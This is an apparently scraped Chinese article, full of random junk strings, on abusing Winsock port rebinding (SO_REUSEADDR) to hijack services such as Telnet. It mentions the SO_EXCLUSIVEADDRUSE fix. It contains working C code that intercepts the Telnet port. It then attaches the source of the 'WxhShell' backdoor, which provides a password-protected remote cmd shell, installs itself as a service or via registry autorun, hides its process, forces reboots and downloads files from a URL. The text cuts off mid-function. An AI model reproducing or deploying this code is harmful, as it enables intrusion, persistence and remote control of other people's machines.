在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=nHUs1rKn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
q])K,) N%@Qf~ saddr.sin_family = AF_INET;
-OV&Md:~ gb1V~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L;z?aZ7n rSY!vkLE\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2DA]i5
RHW]Z
Pr< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AI2)g1m z^B,:5Tt 这意味着什么?意味着可以进行如下的攻击:
D\v+wp. +Ze}B*0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hPkp;a # =IZT(8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,)cM3nu #\{l"- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E_rI?t^ gT.sjd 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C[cbbp .^`{1% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~12EQacOT 9cbd~mM{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[(i ~ah~cwmpS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
B`)BZ,#p |d2SIyUc #include
dFxIF;C>/ #include
DeVv4D:}@ #include
),%%$G\ #include
K8|r&`X0 DWORD WINAPI ClientThread(LPVOID lpParam);
q>_.[+6 int main()
XSB"{H>& {
P8:dU(nlW WORD wVersionRequested;
$S6`}3 DWORD ret;
s[>,X#7 y WSADATA wsaData;
XT%nbh&y BOOL val;
C^Yb\N}S SOCKADDR_IN saddr;
-m zIT4 SOCKADDR_IN scaddr;
+HpA:]#Y int err;
tU5zF.% SOCKET s;
a=_g*OK}D SOCKET sc;
o'aEY<mZ7 int caddsize;
QE+g
j8 HANDLE mt;
1ba~SHi DWORD tid;
b~P`qj[ wVersionRequested = MAKEWORD( 2, 2 );
{
'eC`04E err = WSAStartup( wVersionRequested, &wsaData );
+.PxzL3? if ( err != 0 ) {
9.M4o[ printf("error!WSAStartup failed!\n");
)
w5SUb return -1;
g}oi!f$| }
C[AqFo saddr.sin_family = AF_INET;
DCO\c9 `g?Negt\v //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
oH?b}T=9jz xj)F55e? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HyQJXw?A: saddr.sin_port = htons(23);
oCv.Ln1;Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t>RY7C;PuS {
hh%-(HaLX3 printf("error!socket failed!\n");
a5^]20Fa return -1;
sE<V5`Z= }
79j+vH!zh val = TRUE;
u~:y\/Y6 //SO_REUSEADDR选项就是可以实现端口重绑定的
x_}:D *aI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Mj3A5;# {
h2A <" w printf("error!setsockopt failed!\n");
qA7>vi% return -1;
:S83vE81WK }
p4rL}Jm& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;`4&Rm9n? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>2)OiQ`zg //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Jt<_zn_FG NNR`!Pty if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qr^3R&z!} {
xt*
3'v ret=GetLastError();
P1 8hxXE3 printf("error!bind failed!\n");
-0 a/$h return -1;
f}ji?p }
\)904W5R listen(s,2);
2]jn '4 while(1)
Sv#XIMw{, {
XEp{VC@= caddsize = sizeof(scaddr);
]cWUZ{puRB //接受连接请求
n)-$e4u2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{6|G@""O if(sc!=INVALID_SOCKET)
On:il$MU {
u%KTNa0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'F3f+YD if(mt==NULL)
D/xbF` {
TER=*"! printf("Thread Creat Failed!\n");
ZF8 yw(z break;
7IH@oMvE }
(N6i4
g6 }
kZ
.gO CloseHandle(mt);
}'V5/>m[ }
\ a<h/4#| closesocket(s);
k,6f
WSACleanup();
jD]~ AwRJ return 0;
N^G
Mp,8 }
J?1 uKR DWORD WINAPI ClientThread(LPVOID lpParam)
::lKL {
wu!59pL SOCKET ss = (SOCKET)lpParam;
a2O75 kWnm SOCKET sc;
zT.7 unsigned char buf[4096];
X/!o\yyT SOCKADDR_IN saddr;
6 7.+
.2 long num;
[Td4K.c DWORD val;
`pa!~|p DWORD ret;
6r0krbN //如果是隐藏端口应用的话,可以在此处加一些判断
%D34/=(X //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
KeB"D!={; saddr.sin_family = AF_INET;
WRbj01v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
HYZ5EV saddr.sin_port = htons(23);
ItVWO:x&v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%6,SKg p {
&X ):4 printf("error!socket failed!\n");
-H@:* return -1;
d#Y^>"|$. }
P>C~
i:4n val = 100;
W~;`WR;. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Lc,Pom {
~9]hV7y5C ret = GetLastError();
w~A{(-
dx return -1;
hGe/;@% }
dJoaCf`w if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~s*)f.l {
X6X
$Pve ret = GetLastError();
)gIKH{JYL return -1;
0B/,/KX }
Su7?;Oh/yI if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$\BE&4g {
S(I{NL}=$ printf("error!socket connect failed!\n");
]EBxl=C}D closesocket(sc);
.-c4wm} closesocket(ss);
=E4LRKn return -1;
7
:x fPx }
"Mn6U- while(1)
H>IMf/%5N- {
ay
;S4c/_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u@UMP@"# //如果是嗅探内容的话,可以再此处进行内容分析和记录
c
/HHy, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=_2jK0+}l num = recv(ss,buf,4096,0);
)e+>w=t if(num>0)
^z IW+: send(sc,buf,num,0);
R6 .hA_ih else if(num==0)
ci.+pF break;
$?Hu#Kn,( num = recv(sc,buf,4096,0);
2B[X,rL.pX if(num>0)
jyUjlYAAv` send(ss,buf,num,0);
9igiZmM else if(num==0)
Q800y??&J break;
nu[ML }
:Zbg9`d* closesocket(ss);
jh%Eq+#S closesocket(sc);
,{u
yG: return 0 ;
'(f* 2eE: }
.m,_N@, nbD*x| 3vN_p$ ==========================================================
^R7lom. ]Idk:et 下边附上一个代码,,WXhSHELL
:'-/NtV)o? gjwn7_ ==========================================================
^e _hLX\SW x7&B$.>3 #include "stdafx.h"
wr/"yQA] qZtzO2Mt #include <stdio.h>
!mJ"gg #include <string.h>
v!6
c0a #include <windows.h>
P6-s0]-g #include <winsock2.h>
DS(}<HK{ #include <winsvc.h>
l'-Bu( #include <urlmon.h>
qFCOUl %9F([K #pragma comment (lib, "Ws2_32.lib")
vjGo;+K #pragma comment (lib, "urlmon.lib")
|O\s|H iAEbu&XG #define MAX_USER 100 // 最大客户端连接数
+US!YU #define BUF_SOCK 200 // sock buffer
:Uzm
#define KEY_BUFF 255 // 输入 buffer
M#4pE_G 9}!qR|l3nR #define REBOOT 0 // 重启
!*dI|k #define SHUTDOWN 1 // 关机
(&F}/s gbi XH 4 #define DEF_PORT 5000 // 监听端口
%+W{iu[| pk$l+sNZ= #define REG_LEN 16 // 注册表键长度
SumF
2 #define SVC_LEN 80 // NT服务名长度
OUPUixz2Z ~S"+S/z/k // 从dll定义API
ifMRryN4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2/\r)$
2i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ArI2wM/v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8oy^Xc+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
BQE|8g'&T l|JE# // wxhshell配置信息
'j8:vq^d struct WSCFG {
u"cV%(# int ws_port; // 监听端口
*e TqVG. char ws_passstr[REG_LEN]; // 口令
X"|['t
int ws_autoins; // 安装标记, 1=yes 0=no
'6iEMg&3 char ws_regname[REG_LEN]; // 注册表键名
P6'1.R char ws_svcname[REG_LEN]; // 服务名
JW83Tp8[8 char ws_svcdisp[SVC_LEN]; // 服务显示名
h,u,^ r char ws_svcdesc[SVC_LEN]; // 服务描述信息
%op**@4/t\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q^9_'t}X int ws_downexe; // 下载执行标记, 1=yes 0=no
)Pa'UGY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ah4N|zJ>v char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{Qf=G|Ah H7&8\FNa };
FF`T\&u by1<[$8r // default Wxhshell configuration
Olt?~} struct WSCFG wscfg={DEF_PORT,
#?U}&Bd "xuhuanlingzhe",
,*TmIPNK 1,
M>xK+q?O "Wxhshell",
B:yGS*.tu "Wxhshell",
;s = l52 "WxhShell Service",
L2[($l "Wrsky Windows CmdShell Service",
W fN2bsx> "Please Input Your Password: ",
V5nwu# 1,
ky,(xT4 "
http://www.wrsky.com/wxhshell.exe",
<SAzxo:I "Wxhshell.exe"
r4b 6 c };
7?!d^$B ed{ -/l~j // 消息定义模块
z [}v{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5FPM`hLT char *msg_ws_prompt="\n\r? for help\n\r#>";
&v/dj@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
MO]F1E?X char *msg_ws_ext="\n\rExit.";
6RU~"C char *msg_ws_end="\n\rQuit.";
#>("CAB02T char *msg_ws_boot="\n\rReboot...";
,h m\
char *msg_ws_poff="\n\rShutdown...";
YlJ@XpKM char *msg_ws_down="\n\rSave to ";
CAig]=2' Wq D4YGN char *msg_ws_err="\n\rErr!";
2G& a{ char *msg_ws_ok="\n\rOK!";
K^)Eb(4 '5#^i: char ExeFile[MAX_PATH];
hohfE3rd int nUser = 0;
T[w]o}>cW HANDLE handles[MAX_USER];
_2Zx?<] 2E int OsIsNt;
h9&0Z+zs !3c\NbU SERVICE_STATUS serviceStatus;
1Z/(G1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
a{'vN93 g]l''7G // 函数声明
)Yh+c=6
? int Install(void);
gS!:+G% int Uninstall(void);
t9GR69v:? int DownloadFile(char *sURL, SOCKET wsh);
@muRxi int Boot(int flag);
ehGLk7@7& void HideProc(void);
HYD'.uj int GetOsVer(void);
B-Ll{k^ int Wxhshell(SOCKET wsl);
s0TORl6Z| void TalkWithClient(void *cs);
,a{P4Bq int CmdShell(SOCKET sock);
;IvY^(YS@; int StartFromService(void);
8rAg\H3E int StartWxhshell(LPSTR lpCmdLine);
,\W 8b-Z G/y5H;<9M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]!W=^! VOID WINAPI NTServiceHandler( DWORD fdwControl );
A_"w^E{P &)#
ihK_ // 数据结构和表定义
6##_%PO<m SERVICE_TABLE_ENTRY DispatchTable[] =
;0]aq0_#( {
xk9%F?) {wscfg.ws_svcname, NTServiceMain},
IEL%!RFG {NULL, NULL}
*/5d>04 };
7~G9'P< .Bl\Z // 自我安装
XFVE>/H int Install(void)
fh&nu"& {
v|)4ocFK char svExeFile[MAX_PATH];
1W
c=5! HKEY key;
n K1Slg#U strcpy(svExeFile,ExeFile);
>mbHy<< a Yg6H2Un // 如果是win9x系统,修改注册表设为自启动
1sy[@Q2b if(!OsIsNt) {
V@.Ior}w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ih-#5M@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gMi0FO' RegCloseKey(key);
//up5R_nx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kYE9M8s; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<`8n^m* RegCloseKey(key);
{ T/[cu< return 0;
T=
8 0, }
kUb>^-
-K }
nmee 'oEw }
|"q5sym8Y_ else {
W<h)HhyG rm'SOJVA // 如果是NT以上系统,安装为系统服务
]6k\)#%2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f=+mIZ if (schSCManager!=0)
JMCKcZ%N {
g.k"]lP SC_HANDLE schService = CreateService
.r=4pQ@# (
?>9/#Nv schSCManager,
rET\n(AJ wscfg.ws_svcname,
x;O[c3I wscfg.ws_svcdisp,
q^@Q"J =v SERVICE_ALL_ACCESS,
^`i#$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^x ]r`b SERVICE_AUTO_START,
:I] Mps< SERVICE_ERROR_NORMAL,
B9 _X;c svExeFile,
!NK1MU?T) NULL,
~Py`P'+ NULL,
;DQ ZT NULL,
A7{\</Z NULL,
*xAqnk
NULL
~f2z]JLr: );
w?PkO p if (schService!=0)
1 &jc/*Z" {
M/B_#yK CloseServiceHandle(schService);
RXMISt3+{y CloseServiceHandle(schSCManager);
/aCc17>2V{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8L=HW G!1 strcat(svExeFile,wscfg.ws_svcname);
YR\fa Vk if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{S]}.7`l9( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
olB.*#gA RegCloseKey(key);
o+iiSTJEe return 0;
L tO!umM }
+yG~T }
tn\yI!a CloseServiceHandle(schSCManager);
wq`s-qZu }
E:_ZA }
d UE,U= .<0ye_S'y return 1;
98c(< }
=`oCLsz= )bL'[h // 自我卸载
0@0w+&*"@ int Uninstall(void)
dmtr*pM_ {
=osk+uzzG HKEY key;
tPWLg), &GO}|W if(!OsIsNt) {
/|m2WxK) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>{n,L6_t RegDeleteValue(key,wscfg.ws_regname);
VOsRAn/N RegCloseKey(key);
IxN9&xa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
='r!g RegDeleteValue(key,wscfg.ws_regname);
f1RWP@iar RegCloseKey(key);
;vR4XHl| return 0;
5J.bD)yrP }
#6aW9GO }
4}baSV }
(62"8iD6 else {
w>&aEv/f q s!j>x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
' ,wFTV& if (schSCManager!=0)
yNJ B
oar {
gnf8l?M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[ZwjOi:) if (schService!=0)
lN
4oW3QT {
fCn^=8KOZ if(DeleteService(schService)!=0) {
r| wS<cA2 CloseServiceHandle(schService);
s-!ArB, CloseServiceHandle(schSCManager);
#pow ub return 0;
e;q!6% }
J7$5s CloseServiceHandle(schService);
@Sn(lnlB }
mfn,Gjt3O CloseServiceHandle(schSCManager);
%)8}X>xq }
?#G$=4;i }
uk:(pZ-uJ 2DDtu[} return 1;
'W^YM@ }
cxC6n%!;y
@tnz]^V // 从指定url下载文件
K:[F%e int DownloadFile(char *sURL, SOCKET wsh)
epe)a {
CI0C1/:@ HRESULT hr;
|kg7LP3(8, char seps[]= "/";
|$Sedzj' char *token;
N7zft char *file;
? pmHFlx char myURL[MAX_PATH];
a$OE0zn` char myFILE[MAX_PATH];
3,3N^nSD e2TiBTbQaF strcpy(myURL,sURL);
9d659iC token=strtok(myURL,seps);
^98~U\ar while(token!=NULL)
Tn e4 {
qOtgve`jX file=token;
:6
R\OeH+ token=strtok(NULL,seps);
`wEb<H
}
20 h, ^ .f2bNnB~pP GetCurrentDirectory(MAX_PATH,myFILE);
g}{aZ$sta strcat(myFILE, "\\");
RWZSQ~ strcat(myFILE, file);
;7V%#- send(wsh,myFILE,strlen(myFILE),0);
c
( C%Hld send(wsh,"...",3,0);
C`9+6T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'@KEi%-^> if(hr==S_OK)
#&aqKVY return 0;
3z?> j] else
B%b4v return 1;
u'DRN,h+ xGg )Y# }
F^BS/Yag Qbn"=n2 // 系统电源模块
J/aC}}5D int Boot(int flag)
CYP q#rd {
.@U@xRu7| HANDLE hToken;
^"2J]&x`G TOKEN_PRIVILEGES tkp;
Om\vMd@! 5L%'@`mX if(OsIsNt) {
"?xHlYj@+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D=Gtq6jd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]neex|3lG tkp.PrivilegeCount = 1;
Qn.om=KDs@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
PiIpnoM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
nRS} }6Q if(flag==REBOOT) {
?P`K7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
a~}OZ&PG return 0;
i%]EEVmN }
!)0;&e5 else {
JIOR4' 9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$ @`V return 0;
.j0$J\:i }
ChPmX+.i_ }
v MH else {
:q%M_ if(flag==REBOOT) {
#rfiD%c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
WlC:l return 0;
f+,qNvBY/ }
?mxMk6w else {
'8H4shYg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X51: return 0;
Fj3a.' }
/]Md~=yNp }
h2]P]@nW;W >W+%8e return 1;
!ons]^km }
MaQqs= :>f )g // win9x进程隐藏模块
@,7GaK\ void HideProc(void)
Ai?*s%8v {
,Uqs1#r K;H&n1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f+)L#>Gl? if ( hKernel != NULL )
C1n>M}b {
04P}-L, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,j_i?Ff ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
!``,gExH FreeLibrary(hKernel);
u^I|T.w<r6 }
j-}O0~Jz <^jQo<kU return;
e 2oa($9 }
EUX\^c]n O;jrCB // 获取操作系统版本
aSQ#k;T[ int GetOsVer(void)
$Sip$\+* {
LCKV>3+_# OSVERSIONINFO winfo;
!PQ<04jA! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y/7\?qfTk GetVersionEx(&winfo);
8dIgjQX| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)}Kf= return 1;
Js?]$V" else
yq\K)g*= return 0;
Y)2,PES= }
p]+Pkxz]' >@_^fw) // 客户端句柄模块
J<h$
wM int Wxhshell(SOCKET wsl)
`l[c_%Bm {
.?sx&2R2 SOCKET wsh;
SZ'R59Ee< struct sockaddr_in client;
flbd0NB DWORD myID;
;$wVu|& !?h;wR while(nUser<MAX_USER)
bJTBjS-7 {
iz PDd{[ int nSize=sizeof(client);
z$. 88^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K
Z91- if(wsh==INVALID_SOCKET) return 1;
n 0L^e S|N_ o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
})Vi if(handles[nUser]==0)
YPk fx closesocket(wsh);
_A9AEi'. else
z46~@y%k nUser++;
d{3QP5 }
}|NCboM^_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Y.rsR6 e6$W Qd`O return 0;
<`r>h }
\Uq(Zga4) SoK
iE // 关闭 socket
cR<fJ[* void CloseIt(SOCKET wsh)
BW*rIn<?G {
"@0]G<H
closesocket(wsh);
+iRh nUser--;
f6>b|k~ ExitThread(0);
JL{VD
/f }
Lk}J8 V^2 7~.9=I'A // 客户端请求句柄
V {ddr:]4 void TalkWithClient(void *cs)
u\;C;I-? ' {
YUy0!`!` F{;((VboN SOCKET wsh=(SOCKET)cs;
+VOK%8,p char pwd[SVC_LEN];
BUXpCxQ char cmd[KEY_BUFF];
JP[K;/ char chr[1];
R!gEwTk int i,j;
LFRlzz; .p"
xVfi6 while (nUser < MAX_USER) {
E{P|)`,V w+u3*/Zf if(wscfg.ws_passstr) {
-X2Buz8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9EibIOD^/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I:1C8*/ //ZeroMemory(pwd,KEY_BUFF);
`7V]y- i=0;
56kI
5: while(i<SVC_LEN) {
[5Mr@f4I ~U&AI1t+J // 设置超时
[?N~s:} fd_set FdRead;
4O!ikmY:t struct timeval TimeOut;
12 gU{VD FD_ZERO(&FdRead);
S9FE FD_SET(wsh,&FdRead);
.Rs^YZ F TimeOut.tv_sec=8;
H8}oIA"b TimeOut.tv_usec=0;
@Qt{jI! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$}<e|3_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Si;H0uP O MeZf*'
J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5MJS
~( pwd
=chr[0]; #BH*Z(
if(chr[0]==0xd || chr[0]==0xa) { `1IgzKL9
pwd=0; Yufc{M00
break; $suzW;{#
} -;WGS o
i++; B>P{A7Q
} )R1<N
^RIl
// 如果是非法用户,关闭 socket 0[W:d=C`a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U26}gT)
} 5vnrA'BhBU
~6LN6}~|.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @*KZ}i@._
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5#E`=C%
&`2)V;t
while(1) { 8$Y9ORs4
$X,D(
ZeroMemory(cmd,KEY_BUFF); (V2fRv
8XE7]&)];
// 自动支持客户端 telnet标准 iSs:oH3l
j=0; ~q25Yx9W@
while(j<KEY_BUFF) { /R wjCUf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l}K37f
cmd[j]=chr[0]; mrtb*7`$
if(chr[0]==0xa || chr[0]==0xd) { 4ID5q~
cmd[j]=0; +A?U{q
break; <=C!VVk4f
} <x>Mo
j++; or}[h09qA
} Z=vU}S>r|v
OYn}5RN
// 下载文件 IyG}H}
if(strstr(cmd,"http://")) { yEE*B:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zp=U
W*g^
if(DownloadFile(cmd,wsh)) }b.%Im<3R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJ)$f?=Qd
else U
z>+2m(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s|r3Gv|G
} h>m"GpF
x
else { k~1?VQ+?M
>}6%#CAf
switch(cmd[0]) { draN0vf
St*h>V6
// 帮助 PB\x3pV!}
case '?': { u.xnO cOH!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \(2sW^fY
break; B:'US&6Lf'
} ,r\o}E2
// 安装 YS"=yye3e
case 'i': { P71Lqy)5}A
if(Install()) -PR N:'T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v mk2{f,g
else '?(% Zxw%&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w ;^ra<*<+
break; </*6wpN
} >tW#/\x{
// 卸载 sLxc(d'A
case 'r': { o|["SYIf
if(Uninstall()) A^<jy=F&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |aq"#Ml)
else JDT`C2-Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HLG"a3tt
break; 61'XgkacDS
} 8FY?!C
// 显示 wxhshell 所在路径 .,6-u
case 'p': { -e:`|(Mo
char svExeFile[MAX_PATH]; P\k# >}}
strcpy(svExeFile,"\n\r"); iGB}Il)
strcat(svExeFile,ExeFile); ;u)I\3`*!
send(wsh,svExeFile,strlen(svExeFile),0); Lw>N rY(Y
break; #S"nF@
} o&$A]ph8X
// 重启 ?.BC#S)q1
case 'b': { p0vVkdd
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c5GuM|*7
if(Boot(REBOOT)) :"/d|i`T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G" "ZI$`
else { f%}xO+.s
closesocket(wsh); s?nR 4
ExitThread(0); (<C3Vts))
} U # qK.
break; pZy~1L
} @~a%/GQ#n*
// 关机 TarY|P7_
case 'd': { 1iF1GkLEq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pYf-S?Y/V
if(Boot(SHUTDOWN)) =D"#U#>;7&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {R`[kt
else { P~X2^bw
closesocket(wsh); EXqE~afm2
ExitThread(0); }0Ed]
} CzrC%x y
break; l,5+@i`5i
} t*w/{|yO
// 获取shell 7-fb.V9
case 's': { }@d @3
CmdShell(wsh); \,0oX!<YY
closesocket(wsh); 2<}%kQ`
ExitThread(0); L~N460
break; h<<v^+m
} IW] rb/H
// 退出 ysY*k` 5
case 'x': { T]~xj4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pTLCWbF?
CloseIt(wsh); 6.yu-xm
break; x7 ,5
} |P?*5xPB
// 离开 - 1gVeT&
case 'q': { .(k|wX[Fu~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %d9uTm;
closesocket(wsh); Cq~dp/V
WSACleanup(); @`9]F7h5W
exit(1); \ @2R9,9E
break; +ami?#Sz*;
} "E4a=YH_
} [ub e6
} KF:78C
\:LW(&[!
// 提示信息 inp7K41
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bW(0Ng
} 4;2uW#dG"
} FGBbO\</
dioGAai'
return; O5BYD=7
} O*P.]d
5*u+q2\F
// shell模块句柄 xr^LFn)
int CmdShell(SOCKET sock) 5wU]!bxr
{ SQ+Gvq%Q]
STARTUPINFO si; ) ;Y;Q
ZeroMemory(&si,sizeof(si)); j8:\%|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dk5 1z@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'i|YlMFI g
PROCESS_INFORMATION ProcessInfo; <t!W5q
char cmdline[]="cmd"; nKj7.,>;:<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q^^niVz
return 0; tw)mepwB
} ^E>3|du]O
Q\sK"~@3
// 自身启动模式 7D_=
int StartFromService(void) +G>\-tjSD
{ uHRsFlw
typedef struct !&@615Vtw
{ 4 s9LB
DWORD ExitStatus; t\O16O7S
DWORD PebBaseAddress; ;*2Cm'8E
DWORD AffinityMask; }4X0epPp;:
DWORD BasePriority; ]7c=PC
ULONG UniqueProcessId; rEz^
ULONG InheritedFromUniqueProcessId; :NTO03F7v
